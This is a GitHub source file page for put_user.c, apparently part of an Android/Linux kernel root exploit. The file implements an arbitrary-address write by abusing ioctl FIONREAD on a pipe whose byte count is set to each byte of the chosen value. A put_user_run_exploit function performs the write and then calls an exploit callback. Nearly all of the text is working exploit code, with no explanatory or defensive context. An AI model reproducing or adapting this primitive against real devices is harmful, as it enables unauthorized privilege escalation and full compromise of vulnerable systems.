-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathput_user.c
69 lines (55 loc) · 1.19 KB
/
put_user.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/*
* Copyright (c) 2013 by fi01
*/
#include <sys/ioctl.h>
#include <stdio.h>
#include "put_user.h"
static bool
pipe_write_value_at_address(unsigned long address, int value)
{
char data[4];
int pfd[2];
int i;
*(int *)&data = value;
if (pipe(pfd) == -1) {
perror("pipe");
return false;
}
for (i = 0; i < sizeof (data); i++) {
char buf[256];
buf[0] = 0;
if (data[i]) {
if (write(pfd[1], buf, data[i]) != data[i]) {
printf("error in write().\n");
break;
}
}
if (ioctl(pfd[0], FIONREAD, (void *)(address + i)) == -1) {
perror("ioctl");
break;
}
if (data[i]) {
if (read(pfd[0], buf, sizeof buf) != data[i]) {
printf("error in read().\n");
break;
}
}
}
close(pfd[0]);
close(pfd[1]);
return i == sizeof (data);
}
bool
put_user_write_value_at_address(unsigned long address, int value)
{
return pipe_write_value_at_address(address, value);
}
bool
put_user_run_exploit(unsigned long int address, int value,
bool(*exploit_callback)(void* user_data), void *user_data)
{
if (!put_user_write_value_at_address(address, value)) {
return false;
}
return exploit_callback(user_data);
}